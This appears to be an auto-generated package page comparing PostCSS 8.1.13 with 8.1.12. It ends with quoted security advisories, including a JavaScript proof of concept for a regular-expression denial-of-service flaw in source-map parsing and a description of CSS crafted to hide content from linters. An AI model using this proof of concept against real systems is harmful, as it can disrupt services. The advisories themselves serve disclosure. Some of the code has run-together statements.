PostCSS is a powerful JavaScript tool for transforming CSS with plugins, allowing developers to automate routine CSS tasks, catch errors, and even create custom CSS syntax extensions. Version 8.1.13 and its immediate predecessor, 8.1.12, share a common foundation, both designed to enhance the CSS authoring experience. Key dependencies like nanoid, colorette, source-map, and vfile-location remain consistent, ensuring compatibility and reliability across both versions. Both versions are released under the MIT license with the source code hosted on GitHub and funding through Open Collective. Andrey Sitnik remains the author of both versions.
The subtle difference between the two versions lies primarily in their dist properties where fileCount is the same across versions with 48 files and the focus relies almost entirely on the unpackedSize. Version 8.1.13 has a increment in the unpackedSize from 199098 to 199183, which is a minor update. Version 8.1.13 was released at 2020-12-03T03:14:41.585Z while version 8.1.12 was released at 2020-12-03T02:41:08.377Z. Developers upgrading from 8.1.12 to 8.1.13 can expect a virtually seamless transition, with the changes likely addressing minor bug fixes, internal optimizations, or very subtle enhancements that do not impact the core API or plugin ecosystem.
For developers looking to leverage PostCSS, both versions offer a robust platform for modern CSS development, with access to a rich ecosystem of plugins that can streamline their workflow and improve code quality. The library remains a free software under the MIT lincense and open to contributions.
All the vulnerabilities related to the version 8.1.13 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.